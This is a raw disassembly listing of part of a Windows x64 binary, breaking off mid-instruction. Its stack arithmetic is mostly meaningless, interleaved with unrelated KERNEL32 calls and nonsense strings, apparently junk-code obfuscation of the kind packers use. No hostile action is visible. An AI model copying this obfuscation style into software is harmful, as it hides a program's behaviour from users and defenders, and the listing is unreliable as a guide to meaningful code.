mov rcx, rdx
cmp rax, rcx
jne 0x140005f5a
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x75], al
lea rdx, str.tailless_urethritis_obscurantist_mild_turbulent
lea rcx, [rsp + 0x2a0e0]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov dword [rsp + 0x4cbc], eax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71], al
mov edx, 0x9c
mov ecx, 0x88
call qword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [rsp + 0x4ce4], eax
mov eax, dword [rsp + 0x4cc4]
mov ecx, dword [rsp + 0x4cec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8b70]
mov ecx, dword [rsp + 0x4d50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
jmp 0x1401cc422
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov dword [rsp + 0x4dbc], eax
cmp dword [rsp + 0x4dbc], 0x527
je 0x140005fda
jmp 0x1400060b1
mov rax, qword [rsp + 0x8b80]
mov qword [rsp + 0x8ce8], rax
movabs rax, 0x7d28466f0634cf
cmp qword [rsp + 0x8ce8], rax
je 0x140006074
movabs rax, 0x7d756aa1dcdfa0
cmp qword [rsp + 0x8ce8], rax
je 0x140006017
jmp 0x1400060ac
mov r8d, 0xf5
lea rdx, [rsp + 0x2a0f0]
lea rcx, str.C:_vibrationallyClimatologicalcommensurate
call qword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov dword [rsp + 0x4dc0], eax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1008]
sub eax, ecx
mov word [rsp + 0xffc], ax
jmp 0x1400060ac
lea rax, [rsp + 0x2a1a0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x4dc4]
mov r8d, 0xcb
mov rdx, qword [rsp + 0x8cf0]
mov rcx, qword [rsp + 0x8c00]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov dword [rsp + 0x4ce4], eax
jmp 0x1401cc35f
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x70]
add eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8b70]
mov ecx, dword [rsp + 0x4d88]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ac8]
mov edx, dword [rsp + 0x4d44]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jae 0x140006101
movzx edx, byte [rsp + 0x73]
mov rax, qword [rsp + 0x8b68]
movzx ecx, byte [rax]
call fcn.1401cc930
nop
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b80]
add rcx, rax
mov rax, rcx
mov qword [0x1401e7018], rax
lea rax, [rsp + 0x4db4]
mov qword [rsp + 0x8cf8], rax
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8ad0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1000]
sar eax, cl
mov word [rsp + 0xff4], ax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0x75]
shl eax, cl
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cec]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401e7008], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8ab0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d18]
add eax, 0x85
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8b70]
mov ecx, dword [rsp + 0x4cd0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x73], al
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x74], al
cmp dword [rsp + 0x4d18], 0x3513
jne 0x14000612e
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8b08]
mov byte [rcx], al
movzx eax, word [rsp + 0xff0]
mov word [rsp + 0x100c], ax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x72], al
mov eax, dword [rsp + 0x4cc4]
mov ecx, dword [rsp + 0x4cec]
add ecx, eax
mov eax, ecx
mov dword [0x1401e7008], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8bb8], rax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8b50]
shl rax, cl
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ccc]
shr eax, cl
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
xor eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1008], ax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x100c], ax
movzx eax, word [rsp + 0x1000]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
sub rcx, rax
mov rax, rcx
mov qword [0x1401e7010], rax
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d88], eax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cec], eax
movsx eax, word [rsp + 0x100c]
movsx ecx, word [0x1401e8790]
add eax, ecx
mov rcx, qword [rsp + 0x8c88]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
xor eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff4]
shl eax, cl
mov rcx, qword [rsp + 0x8c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
or eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
sar eax, cl
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
sub eax, ecx
mov word [0x1401e8790], ax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4cbc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ac8]
mov ecx, dword [rsp + 0x4cac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4db4], eax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b80], rax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8af8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1000]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, word [rsp + 0x1004]
movzx ecx, word [rsp + 0x1000]
and eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d3c]
sub eax, 6
mov dword [rsp + 0x4d3c], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ad0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8ab0]
sar rax, cl
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8b70]
mov qword [rsp + 0x8d00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d00]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8cf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff4]
add eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cc4]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8cf8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xff4]
movzx ecx, word [rsp + 0x1000]
sub eax, ecx
mov word [rsp + 0xff8], ax
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xff0], ax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1008], ax
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x73]
shl eax, cl
mov byte [0x1401e8792], al
cmp dword [rsp + 0x4d3c], 0x7be0
jae 0x140006316
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8b80]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8b48]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cac], eax
lea rax, [rsp + 0x8bb8]
mov qword [rsp + 0x8d08], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d00], eax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8bf0]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
je 0x1400069f3
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
sub eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x100c]
add eax, ecx
mov word [rsp + 0xff0], ax
mov eax, dword [0x1401e7004]
mov dword [rsp + 0x4dc8], eax
cmp dword [rsp + 0x4dc8], 0x9dd8
je 0x140006980
jmp 0x1400069d5
lea rdx, str.mountie_harmed_Resigning_pharmacologist
lea rcx, [rsp + 0x2a0e0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov qword [rsp + 0x8d10], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, word [rsp + 0xff4]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
jmp 0x1400069ee
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x100c]
sar eax, cl
mov word [0x1401e8790], ax
jmp 0x140006a7c
lea rax, [rsp + 0x8bb8]
mov qword [rsp + 0x8d18], rax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov dword [rsp + 0x4dcc], eax
cmp dword [rsp + 0x4dcc], 0x4cf
je 0x140006a24
jmp 0x140006a7c
mov rax, qword [rsp + 0x8cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d44]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4db4]
mov edx, dword [rsp + 0x4cac]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140006a7c
mov rdx, qword [rsp + 0x8ba0]
mov rcx, qword [rsp + 0x8cf0]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov dword [rsp + 0x4d80], eax
movzx edx, byte [rsp + 0x72]
movzx ecx, byte [rsp + 0x70]
call fcn.1401cc930
nop
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x4dd0], al
cmp byte [rsp + 0x4dd0], 0x59
je 0x140006a97
jmp 0x140006b32
lea rdx, [rsp + 0x8c10]
mov rcx, qword [rsp + 0x8bd0]
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x4dd4], eax
movsx eax, word [rsp + 0xffc]
mov dword [rsp + 0x4dd8], eax
cmp dword [rsp + 0x4dd8], 0x6ad
je 0x140006ad2
jmp 0x140006b10
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x74], al
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
movzx edx, byte [rsp + 0x73]
movzx ecx, byte [rsp + 0x71]
call fcn.1401cd640
nop
jmp 0x140006b2d
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xff0], ax
jmp 0x1401cc24b
lea rax, [rsp + 0x8b50]
mov qword [0x1401e8798], rax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b28]
mov qword [rsp + 0x8d20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d20]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8b00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8b50]
mov rdx, qword [rsp + 0x8c50]
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x140006c03
mov r8d, 1
mov edx, 0xd7
mov rcx, qword [rsp + 0x8bb0]
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8ca8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
lea rax, [rsp + 0x4cc4]
mov qword [rsp + 0x8d28], rax
mov eax, dword [rsp + 0x4d50]
mov dword [rsp + 0x4ddc], eax
movsx eax, word [rsp + 0xff0]
movsx ecx, word [rsp + 0x1008]
and eax, ecx
movsx ecx, word [0x1401e8790]
mov rdx, qword [rsp + 0x8c10]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x1401cc15d
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b50], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x4ccc]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4d50]
mov edx, dword [rsp + 0x4ddc]
shr edx, cl
mov ecx, edx
cmp eax, ecx
ja 0x1401cbfe7
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov byte [rsp + 0x76], al
movzx eax, word [rsp + 0xff8]
mov word [0x1401e87a0], ax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x4de0], al
cmp byte [rsp + 0x4de0], 0
je 0x140006cd4
jmp 0x1401cbdfc
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0xffc]
movsx edx, word [rsp + 0x100c]
sub ecx, edx
cmp eax, ecx
jge 0x140006e00
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
shl eax, cl
mov word [rsp + 0xffc], ax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8b80]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x140006d75
mov rax, qword [rsp + 0x8c08]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x73]
call fcn.1401cc930
nop
jmp 0x140006dfb
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8b50]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140006dfb
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [rsp + 0x76]
and eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x8c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e87a0], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8bb0], rax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [rsp + 0x74]
add eax, ecx
mov byte [rsp + 0x76], al
jmp 0x140006ed8
mov eax, dword [rsp + 0x4d50]
mov dword [rsp + 0x4de4], eax
cmp dword [rsp + 0x4de4], 0
je 0x140006e1d
jmp 0x140006ec3
mov rax, qword [rsp + 0x8b80]
mov qword [rsp + 0x8d30], rax
movsx eax, word [rsp + 0x1008]
movsx ecx, word [rsp + 0xffc]
sub eax, ecx
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xff0]
add ecx, edx
cmp eax, ecx
jl 0x140006ec1
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ab0], rax
lea rax, section..data
mov qword [rsp + 0x8d38], rax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov byte [rsp + 0x73], al
mov dword [rsp + 0x4de8], 0x10951
jmp 0x140006ed8
lea rcx, [rsp + 0x8b78]
call qword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
mov dword [rsp + 0x4dec], eax
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
mov dword [rsp + 0x4df0], eax
cmp dword [rsp + 0x4df0], 0x428e
je 0x140006ef8
jmp 0x140006f19
movzx eax, word [rsp + 0x1000]
movzx ecx, word [0x1401e87a0]
sub eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
jmp 0x140007086
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov dword [rsp + 0x4df4], eax
cmp dword [rsp + 0x4df4], 0
je 0x140006f4b
cmp dword [rsp + 0x4df4], 0x1e6
je 0x140007069
jmp 0x140007086
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x100c]
or eax, ecx
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
mov dword [rsp + 0x4df8], ecx
mov rdx, qword [rsp + 0x8c10]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4df8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140006fb9
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e8790], ax
jmp 0x140007067
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x100c]
xor eax, ecx
movsx ecx, word [rsp + 0x1008]
mov dword [rsp + 0x4dfc], ecx
mov rdx, qword [rsp + 0x8ae8]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4dfc]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140007067
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov qword [rsp + 0x8d40], rax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d50], eax
jmp 0x140007086
mov rax, qword [rsp + 0x8d28]
mov ecx, dword [rsp + 0x4d84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8cf8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4ddc]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x1400070e4
movzx eax, word [rsp + 0xff4]
mov word [rsp + 0x1010], ax
movzx eax, byte [rsp + 0x76]
movzx ecx, byte [rsp + 0x71]
xor eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0x8d48], rax
jmp 0x14000710e
lea rcx, [rsp + 0x2a130]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1000]
shl eax, cl
mov word [0x1401e87a0], ax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [rsp + 0x76]
sar eax, cl
movzx ecx, byte [rsp + 0x74]
movzx edx, byte [rsp + 0x77]
or ecx, edx
cmp eax, ecx
jg 0x140007272
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov ecx, dword [rcx]
mov edx, dword [0x1401e7008]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x140007252
movzx eax, word [rsp + 0xff4]
movzx ecx, word [rsp + 0x1000]
add eax, ecx
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x1010]
sub ecx, edx
cmp eax, ecx
jg 0x1400071f2
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xff0], ax
mov eax, dword [rsp + 0x4e00]
mov ecx, dword [rsp + 0x4ccc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ddc], eax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [0x1401e7018]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d30], rax
jmp 0x140007250
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x1008]
mov rdx, qword [rsp + 0x8ae8]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140007250
mov eax, dword [rsp + 0x4cbc]
mov rcx, qword [rsp + 0x8d28]
mov qword [rsp + 0x8d58], rcx
movzx ecx, al
